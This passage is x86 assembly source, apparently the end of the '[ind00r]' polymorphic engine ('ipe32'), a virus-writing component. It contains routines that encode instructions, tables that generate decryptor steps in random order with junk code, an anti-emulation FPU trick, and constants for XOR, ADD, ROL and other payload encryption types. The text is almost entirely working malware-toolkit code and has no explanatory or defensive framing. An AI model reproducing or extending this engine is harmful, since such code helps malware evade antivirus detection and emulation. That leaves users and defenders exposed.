ciORIblah:      jnz   ciORInot_eax2

                pop   edx
                cmp   cl, REG_EAX or MOD_REG ; register = EAX/AX/AL?
                jnz   ciORInot_eax3          ; nope, create operation
                                             ; from group 1 (immediate ops)
                shl   bl, 03h                ; operation type
                or    bl, USE_EAX            ; opcode ?4h or ?5h
                and   al, 01h
                or    al, bl                 ; add operand size
                stosb                        ; store opcode
                jmp   ciORIwrite_imm         ; write immediate value

ciORInot_eax2:
                pop   edx
ciORInot_eax3:  stosb
ciORIcreate_rm:
                call  ciCreateOperand
ciORIwrite_imm: test  dl, dl
                jz    ciORIimm8
                test  dl, OPSIZE_16
                jnz   ciORIimm16
                pop   eax
                stosd
                jmp   ciORIexit
ciORIimm16:     pop   eax
                stosw
                jmp   ciORIexit
ciORIimm8:      pop   eax
                stosb
ciORIexit:      mov   [esp], edi
                popad
                ret
ciOpRMImm       endp

; ciCreateOperand
;
; creates MOD/RM byte and if needed SIB byte, and stores da displacement
;
; BL: register or additional opcode information
;
; CL: R/M operand. can be:
;      - register operand: REG_??? + MOD_REG
;      - memory operand, index register: REG_???
;      - memory operand, immediate addressing: MOD_DIRECT
;
; CH: second index register + scaling factor
;       REG_??? + NO_SCALE / SCALE_2/4/8
;       (use random value < SCALE_RND, to get random register & scaling).
;       if this byte is zero, no SIB byte is used.
;       take special care when using no scaling factor (logical or with
;       NO_SCALE)
;
; ESI: displacement
;    if this is zero, no displacement is used.
;    when usin' direct addressing (MOD_DIRECT), this register contains
;    immediate memory address.
;    if ESI is in the range between -128 and 127, 8-bit displacement is
;    used. when you're using 8-bit displacements calculate them like this:
;    movsx esi, rm8          ; rm8 = 8-bit register or memory operand
;                            ; containing 8-bit displacement.
;    this check isn't performed when MOD_DISP8 or MOD_DISP32
;
ciCreateOperand proc
                pushad
                mov   eax, ecx
                and   al, MOD_REG
                cmp   al, MOD_REG          ; R/M operand = register?
                jz    COcreate_mr          ; yes, directly to ciCreateMODRM
                test  cl, MOD_DIRECT       ; direct addressing?
                jnz   COno_disp
                mov   eax, esi
                test  eax, eax             ; displacement = 0?
                jz    COno_disp            ; don't use displacement
                or    cl, MOD_DISP32       ; set 32-bit displacement
                test  cl, MOD_DIRECT
                jnz   COno_disp
                movsx eax, al
                cmp   eax, esi
                jne   COno_disp
                xor   cl, MOD_REG
COno_disp:      test  ch, ch               ; second index register?
                jz    COcreate_mr          ; no, we don't need SIB
                or    cl, MOD_SIB          ; set SIB flag
COcreate_mr:
; create MOD/RM byte
;
; BL = register or additional opcode information (bits 3, 4, 5)
; CL = register or memory operand (bits 0,1,2)
;      - register operand: REG_??? + MOD_REG
;      - memory operand, no displacement: REG_??? + MOD_NODISP
;      - memory operand, 8-bit displacement: REG_??? + MOD_DISP8
;      - memory operand, 32-bit displacement: REG_??? + MOD_DISP32
;      - memory operand, immediate addressing: MOD_DIRECT
;      - sib memory operand, no displacement: MOD_SIB + MOD_NODISP
;      - sib memory operand, 8-bit displacement: MOD_SIB + MOD_DISP8
;      - sib memory operand, 32-bit displacement: MOD_SIB + MOD_DISP32
;      - sib memory operand, immediate addressing: MOD_DIRECT + MOD_SIB
;
; output:
;
; AL = displacement size:
;        MOD_NODISP
;        MOD_DISP8
;        MOD_DISP32
;        MOD_DIRECT
;        MOD_SIB         ; if MOD_SIB the lower 3 bits are base register
;
; [EBP] with no displacement is immediate addressing. if you want [EBP],
; this procedure generates zero 8-bit displacement. if you want immediate
; address use MOD_DIRECT.
;
; [ESP] normally indicates that SIB byte follows. when you use [ESP] this
; procedure generates SIB byte (24h). when you want to use SIB byte, use
; MOD_SIB.
;
; if no displacement, sib byte and [ebp] as base, zero 8-bit displacement
; is used if MOD_DIRECT + MOD_SIB, immediate address is used as base...
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
; CL = base
;         REG_???
; CH = index
;         REG_??? (not ESP) + NOSCALE/SCALE_2/4/8
;
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)

                shl   ebx, 03h             ; register
                ; let's check if operand is register

                mov   eax, ecx
                and   al, MOD_REG          ; clear bits 0-5
                xor   al, MOD_REG          ; invert bit 6 & 7
                jnz   CMblah1              ; memory operand.
                xchg  eax, ecx
                and   al, 0C7h
                or    eax, ebx
                stosb                      ; directly create it!
                xor   eax, eax             ; return MOD_NODISP
                jmp   CMexit1
CMblah1:        mov   eax, ecx
                and   al, 0C7h
                cmp   al, REG_EBP          ; EBP and no displacement?
                jnz   CMblah2
                or    cl, MOD_DISP8        ; use 8-bit displacement
CMblah2:        mov   eax, ecx
                and   al, 07h or MOD_DIRECT or MOD_SIB
                cmp   al, REG_ESP          ; ESP is index reg?
                jnz   CMblah3              ; nope
                or    eax, ebx
                and   cl, MOD_REG
                or    eax, ecx
                stosb
                mov   byte ptr [edi], 24h
                inc   edi
                and   al, MOD_REG
                jmp   CMexit1
CMblah3:        mov   eax, ecx
                test  al, MOD_DIRECT       ; direct addressing?
                jz    CMblah4              ; nope
                and   cl, 38h
                or    cl, REG_EBP          ; no displacement and EBP
CMblah4:        mov   eax, ecx
                test  al, MOD_SIB          ; do we have SIB byte?
                jz    CMblah6              ; no SIB byte

                ; set ESP as index register (SIB)

                and   al, 0C0h or MOD_SIB or MOD_DIRECT
                or    al, REG_ESP
                and   cl, 0C7h or MOD_SIB or MOD_DIRECT
CMblah6:        and   al, 0C7h
                or    eax, ebx
                stosb
                mov   eax, ecx
                and   al, 0C7h or MOD_SIB or MOD_DIRECT
CMexit1:
                ; created MOD/RM byte. now let's do the displacement

                test  eax, eax             ; no displacement?
                jz    COexit               ; yes, exit
                test  al, MOD_SIB          ; SIB byte?
                jz    COblah               ; no, don't store SIB byte
                shl   ch, 03h              ; creatin' SIB byte
                push  eax                  ; preserving addressing mode
                and   al, REG_RND - 1      ; mask base register
                or    al, ch
                stosb                      ; store SIB byte
                pop   eax
COblah:         test  al, MOD_DIRECT       ; direct addressing?
                jnz   COdirect             ; yes, store VA & exit
COblah2:        test  al, MOD_DISP8        ; do we have 8-bit displacement?
                jz    COblah3              ; no, perform next check
                xchg  esi, eax
                stosb
                jmp   COexit
COblah3:        test  al, MOD_DISP32
                jz    COexit
COdirect:       xchg  esi, eax
                stosd
COexit:         mov   [esp], edi
                popad
                ret
ciCreateOperand endp
; initialized data
                db    '[ind00r] polymorphic engine by slurp', 0

; decryptor instructions generator addresses (relative to idelta)
Generatorz      dd    offset iProcLdPtr - idelta     ; load pointer
                dd    offset iProcLdCnt - idelta     ; load counter
                dd    offset iProcLdKey - idelta     ; load key
                dd    offset iProcDecData - idelta   ; decrypt data
                dd    offset iProcIncKey - idelta    ; increment key
                dd    offset iProcIncPtr - idelta    ; increment pointer
                dd    offset iProcDecCnt - idelta    ; decrement counter
                dd    offset iProcFPUFool - idelta   ; neat stuff :O
; junk instruction generator addresses (relative to idelta)

JunkGen         dd    offset iMemJunk - idelta
                dd    offset iRegJunk - idelta
JUNKGEN_CNT     equ   02h

; decryptor procedures are called in this order:
CallOrder1      db    LOAD_POINTER               ; �
                db    LOAD_COUNTER               ; � these procedures can
                db    LOAD_KEY                   ; � be mixed.
CALL_ORDER_1    equ   $ - CallOrder1
                db    DECRYPT_DATA      ; stays at its place
CALL_ORDER_2    equ   $ - CallOrder1
CallOrder2      db    INC_KEY                    ; �
                db    INC_POINTER                ; � these procedures can
                db    DEC_COUNTER                ; � be mixed.
                db    FPU_FOOL                   ; �
                db    JUNK_PROCS dup (JUNK_PROC) ; �

; procedure order (1 byte for each procedures that will be mixed randomly)
ProcedureOrder  db    LOAD_POINTER
                db    LOAD_COUNTER
                db    LOAD_KEY
                db    DECRYPT_DATA
                db    INC_KEY
                db    INC_POINTER
                db    DEC_COUNTER
                db    FPU_FOOL
                db    JUNK_PROCS dup (JUNK_PROC)
PROC_ORDER      equ   $ - ProcedureOrder

; registerz
Registers       equ   $
preg            db    REG_ECX           ; pointer register
creg            db    REG_EDX           ; counter register
kreg            db    REG_EAX           ; key register
junkreg1        db    REG_EBX           ; junk register 1
junkreg2        db    REG_ESI           ; junk register 2
junkreg3        db    REG_EDI           ; junk register 3
USED_REGS       equ   $ - Registers

RandomConst     dd    RANDOM_SEED       ; random seed constant (unchanged
                                        ; during runtime)
idelta          equ   $                 ; delta offset (held in ebp)

; uninitialized data

RandomSeed      dd    ?                 ; random seed (changed)

InitValues      equ   $                 ; some values we have to initialize
JunkSpSize      dd    ?                 ; size of junk space
JunkSpRVA       dd    ?                 ; address of junk space
DecryptRVA      dd    ?                 ; address of encrypted code
CryptSize       dd    ?                 ; size of crypted code
EncryptRVA      dd    ?                 ; address of code to encrypt
CryptKey        dd    ?                 ; encryption key
KeyIncrement    dd    ?                 ; key incrementation
CryptType       db    ?                 ; encryption type (byte)
KeyIncType      db    ?                 ; key increment type (byte)

ProcParameters   db    MAX_PROCS + 1 dup (?)
ProcAddress      dd    MAX_PROCS + 1 dup (?)

JunkProcs       db    ?                 ; number of junk procedures
ProcCount       db    ?                 ; number of procedures

CurrentProc     db    ?                 ; identifies current procedure when
                                        ; in the generator loop.
InLoop          db    ?                 ; boolean, if true we are
                                        ; generating decryptor loop
nojunk          db    ?
; procedure number constantz
LOAD_POINTER    equ   00h
LOAD_COUNTER    equ   01h
LOAD_KEY        equ   02h
DECRYPT_DATA    equ   03h
INC_KEY         equ   04h               ; increment key
INC_POINTER     equ   05h               ; increment pointer by 4
DEC_COUNTER     equ   06h               ; decrement counter by 1
FPU_FOOL        equ   07h               ; some anti emulatin' stuff
JUNK_PROC       equ   08h
MAX_PROCS       equ   JUNK_PROC + JUNK_PROCS + 1
MIN_PROCS       equ   JUNK_PROC + 1
JUNK_PROCS      equ   04h               ; maximal junk procedure count - 1

MAX_PARAMS      equ   04h               ; maximal number of parameters

; encryption type constantz
ENC_XOR       equ 00000000b             ; xor encryption
ENC_ADD       equ 00000001b             ; add encryption
ENC_SUB       equ 00000010b             ; sub encryption
ENC_ROL       equ 00000011b             ; rol encryption
ENC_ROR       equ 00000100b             ; ror encryption
ENC_RND       equ 5

; key increment type constantz
KEY_INC       equ 00000000b             ; rol key with random value
KEY_DEC       equ 00000001b             ; ror key with random value
KEY_ROL       equ 00000010b             ; inc key with random value
KEY_ROR       equ 00000011b             ; dec key with random value
KEY_RND       equ 4
; i386 instruction set constants
; correct order of register on stack after a pushad. offset relative
; to ESP
PUSHAD_EAX      equ   (REG_EDI - REG_EAX) * 4      ; location of EAX
PUSHAD_ECX      equ   (REG_EDI - REG_ECX) * 4      ; location of ECX
PUSHAD_EDX      equ   (REG_EDI - REG_EDX) * 4      ; location of EDX
PUSHAD_EBX      equ   (REG_EDI - REG_EBX) * 4      ; location of EBX
PUSHAD_ESP      equ   (REG_EDI - REG_ESP) * 4      ; location of ESP
PUSHAD_EBP      equ   (REG_EDI - REG_EBP) * 4      ; location of EBP
PUSHAD_ESI      equ   (REG_EDI - REG_ESI) * 4      ; location of ESI
PUSHAD_EDI      equ   (REG_EDI - REG_EDI) * 4      ; location of EDI
PUSHAD_SIZE     equ   8 * 04h                      ; size of pushad record

; dword registerz
REG_EAX         equ   00000000b
REG_ECX         equ   00000001b
REG_EDX         equ   00000010b
REG_EBX         equ   00000011b
REG_ESP         equ   00000100b
REG_EBP         equ   00000101b
REG_ESI         equ   00000110b
REG_EDI         equ   00000111b

; word registerz
REG_AX          equ   00000000b
REG_CX          equ   00000001b
REG_DX          equ   00000010b
REG_BX          equ   00000011b
REG_SP          equ   00000100b
REG_BP          equ   00000101b
REG_SI          equ   00000110b
REG_DI          equ   00000111b

; byte registerz
REG_AL          equ   00000000b
REG_CL          equ   00000001b
REG_DL          equ   00000010b
REG_BL          equ   00000011b
REG_AH          equ   00000100b
REG_CH          equ   00000101b
REG_DH          equ   00000110b
REG_BH          equ   00000111b

; fpu registerz
REG_ST0         equ   00000000b
REG_ST1         equ   00000001b
REG_ST2         equ   00000010b
REG_ST3         equ   00000011b
REG_ST4         equ   00000100b
REG_ST5         equ   00000101b
REG_ST6         equ   00000110b
REG_ST7         equ   00000111b

REG_RND         equ   REG_EDI + 1

; jump opcode constantz
JMP_SHORT       equ   0EBh
JMP_LONG        equ   0E9h
JMPC_SHORT      equ   070h
JMPC_LONG       equ   080h              ; 2 byte opcode!

; conditions

COND_C          equ   002h            ; carry
COND_NC         equ   003h            ; no carry
COND_E          equ   004h            ; equal                   A  = B
COND_NE         equ   005h            ; not equal               A != B
COND_Z          equ   004h            ; zero                    A  = B
COND_NZ         equ   005h            ; not zero                A != B
COND_S          equ   008h            ; sign                   msb = 1
COND_NS         equ   009h            ; no sign                msb = 0
COND_P          equ   00Ah            ; parity even            lsb = 0
COND_NP         equ   00Bh            ; parity odd             lsb = 1
COND_O          equ   000h            ; overflow       msb was toggled
COND_NO         equ   001h            ; no overflow    msb wasn't toggled

COND_B          equ   COND_C          ; below                    A > B
COND_NAE        equ   COND_B          ; neither above or equal   A > B
COND_NB         equ   COND_NC         ; not below                A � B
COND_AE         equ   COND_NB         ; above or equal           A � B
COND_BE         equ   006h            ; below or equal           A � B
COND_NA         equ   COND_BE         ; not above                A � B
COND_NBE        equ   007h            ; neither below or equal   A < B
COND_A          equ   COND_NBE        ; above                    A < B
COND_L          equ   00Ch            ; less                     A > B
COND_NGE        equ   COND_L          ; neither greater or equal A > B
COND_NL         equ   00Dh            ; not less                 A � B
COND_GE         equ   COND_NL         ; greater or equal         A � B
COND_LE         equ   00Eh            ; less or equal            A � B
COND_NG         equ   COND_LE         ; not greater              A � B
COND_NLE        equ   00Fh            ; neither less or equal    A < B
COND_G          equ   COND_NLE        ; greater                  A < B

; call opcode constantz
CALL_DIRECT     equ   0E8h

; procedure commands
PROC_ENTER      equ   0C8h
PROC_LEAVE      equ   0C9h
PROC_RETP       equ   0C2h
PROC_RET        equ   0C3h
MOV_EBP_ESP     equ   0EC8Bh

; stack opcodes
PUSH_REG        equ   050h                 ; xor REG_???
POP_REG         equ   058h
PUSH_IMM        equ   068h
PUSH_IMM_SX     equ   06Ah
POP_MEM         equ   08Fh

; increment/decrement opcodes
INC_REG         equ   040h
DEC_REG         equ   048h
INCDEC_GROUP    equ   0FEh

; mov opcodes
MOV_REG_RM      equ   0
MOV_REG_IMM     equ   0B0h ; mov register, immediate
MOV_REG_IMM8    equ   0B0h
MOV_REG_IMM32   equ   0B8h
MOV_MEM_IMM     equ   0C6h ; mov memory, immediate

; extended mov opcodes

MOVX            equ   0B6h
MOVX_BYTE       equ   000h
MOVX_WORD       equ   001h
MOVX_ZX         equ   000h
MOVX_SX         equ   008h

; load effective address
LOAD_EA         equ   08Dh

; Flag set/clear commands
CLR_CRY         equ   0F8h
SET_CRY         equ   0F9h
CLR_INT         equ   0FAh
SET_INT         equ   0FBh
CLR_DIR         equ   0FCh
SET_DIR         equ   0FDh

; Common opcode constants

; prefixes
ESC_2BYTE       equ   0Fh
OPERAND_SIZE    equ   66h
ADDRESS_SIZE    equ   67h

; segment override prefix
OVERRIDE_FS     equ   64h
OVERRIDE_GS     equ   65h

; operand size
OPSIZE_8        equ   00h
OPSIZE_32       equ   01h
OPSIZE_16       equ   02h

; direction
MEM_REG         equ   00h
REG_MEM         equ   01h

; some opcodes support direct EAX/AX/AL access
USE_EAX         equ   04h

XCHG_EAX_REG    equ    090h ; add register number to get opcode (not eax)
OP_NOP          equ    090h ; very obsolete :x<
TEST_EAX_IMM    equ    0A8h

; Shift operation constants
OP_SHIFT        equ    0C0h

SHIFT_IMM       equ    000h ; shift immediate
SHIFT_1         equ    001h ; shift 1 time
SHIFT_CL        equ    002h ; shift cl times
SHIFT_RND       equ    003h ; for choosing random shift.

ROL_SHIFT       equ    000h
ROR_SHIFT       equ    001h
RCL_SHIFT       equ    002h
RCR_SHIFT       equ    003h
SHL_SHIFT       equ    004h
SHR_SHIFT       equ    005h
SAR_SHIFT       equ    006h
RND_SHIFT       equ    007h

OP_GROUP1       equ    080h ; opcode for immediate group 1
OP_GROUP3       equ    0F6h ; opcode for shift group 3

; jmp, call, push, inc, dec group
OP_GROUP5       equ    0FFh ; opcode for jmpcallpushincdec group 5

P_INC           equ    000h
P_DEC           equ    001h
P_CALL_NEAR     equ    002h  ; call dword ptr
P_CALL_FAR      equ    003h  ; call 48-bit ptr
P_JMP_NEAR      equ    004h  ; jmp dword ptr
P_JMP_FAR       equ    005h  ; jmp 48-bit ptr
P_PUSH          equ    006h

; Math operation constants
OPTYPE_ADD      equ   00h
OPTYPE_OR       equ   01h
OPTYPE_ADC      equ   02h
OPTYPE_SBB      equ   03h
OPTYPE_AND      equ   04h
OPTYPE_SUB      equ   05h
OPTYPE_XOR      equ   06h
OPTYPE_CMP      equ   07h
OPTYPE_MOV      equ   008h
OPTYPE_TEST     equ   009h
OPTYPE_XCHG     equ   00Ah

; Math opcode constants
MATH_ADD        equ   OPTYPE_ADD shl 03h
MATH_OR         equ   OPTYPE_OR  shl 03h
MATH_ADC        equ   OPTYPE_ADC shl 03h
MATH_SBB        equ   OPTYPE_SBB shl 03h
MATH_AND        equ   OPTYPE_AND shl 03h
MATH_SUB        equ   OPTYPE_SUB shl 03h
MATH_XOR        equ   OPTYPE_XOR shl 03h
MATH_CMP        equ   OPTYPE_CMP shl 03h

; Immediate opcode constants
IMM_OP          equ   80h
IMM_SX          equ   03h               ; sign extended immediate

; MOD/RM constants

; MOD bits
MOD_NODISP      equ   000h                  ; no displacement
MOD_DISP8       equ   040h                  ; 8-bit displacement
MOD_DISP32      equ   080h                  ; 32-bit displacement
MOD_REG         equ   0C0h                  ; register
_MOD            equ   011000000b            ; mask for MOD-field

MOD_DIRECT      equ   00001000b                 ; use immediate address
MOD_SIB         equ   00010000b                 ; use sib byte

; REG bits
_REG            equ   000111000b            ; mask for REG-field

; RM bits
RM_DIRECT       equ   REG_EBP xor MOD_NODISP
RM_SIB          equ   REG_ESP
_RM             equ   000000111b            ; mask for RM field

; FPU opcodes

FPU_OPCODE      equ   0D8h
FPU_DWORD_OP    equ   0D8h   ; dword ops/fpu reg ops
FPU_DWORD_LDST  equ   0D9h   ; group 1 - 4, FLD, FST, ...
FPU_INT_OP      equ   0DAh   ; dword operations
FPU_INT_LDST    equ   0DBh   ; group 5, FILD, FIST
FPU_QWORD_OP    equ   0DCh   ; qword ops/fpu reg ops
FPU_QWORD_LDST  equ   0DDh   ; qword FILD, FIST
FPU_WORD_OP     equ   0DEh   ; word ops (only mem), and reversed arithmetix
FPU_WORD_LDST   equ   0DFh   ; word FILD, FIST

; FPU opcode + MOD/RM (bl = FPU_FMUL, FDIV...)
;
; they'll fit to the following opcodez:
; FPU_DWORD_OP, FPU_QWORD_OP & FPU_WORD_OP
; IMPORTANT: note that the word operations won't work with fpu registers!

FPU_ADD        equ   000b                   ; MOD/RM bit 3,4,5 = 001
FPU_MUL        equ   001b
FPU_CMP        equ   010b
FPU_COMP       equ   011b
FPU_SUB        equ   100b
FPU_SUBR       equ   101b
FPU_DIV        equ   110b
FPU_DIVR       equ   111b

; FPU_WORD_OP group contains some opcodes with reversed register order.
; this means first comes st(?) and then the first register.
FPU_ADDP       equ   000b                   ; MOD/RM bit 3,4,5 = 001
FPU_MULP       equ   001b
FPU_COMPP      equ   011b
FPU_SUBRP      equ   100b
FPU_SUBP       equ   101b
FPU_DIVRP      equ   110b
FPU_DIVP       equ   111b

FPU_DIR1        equ   000h                     ; direction st, st(?)
FPU_DIR2        equ   004h                     ; direction st(?), st

; FPU stand alone instructions
FPU_INIT        equ   0E3DBh
FPU_SQRT        equ   0FAD9h

FPU_LD1         equ   0E8D9h
FPU_LDL2T       equ   0E9D9h
FPU_LDL2E       equ   0EAD9h
FPU_LDPI        equ   0EBD9h
FPU_LDLG2       equ   0ECD9h
FPU_LDLN2       equ   0EDD9h
FPU_LDZ         equ   0EED9h

FPU_WAIT        equ   09Bh

FPU_STORE       equ   02h
FPU_LOAD        equ   00h
; end of ipe32